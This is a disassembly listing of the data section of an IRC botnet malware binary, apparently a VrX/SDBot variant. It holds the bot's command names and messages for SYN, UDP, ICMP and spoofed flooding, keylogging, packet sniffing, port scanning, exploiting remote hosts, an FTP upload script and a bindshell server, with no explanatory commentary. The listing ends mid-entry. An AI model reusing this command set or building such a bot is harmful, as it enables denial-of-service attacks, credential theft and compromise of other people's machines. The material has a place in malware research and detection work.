		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
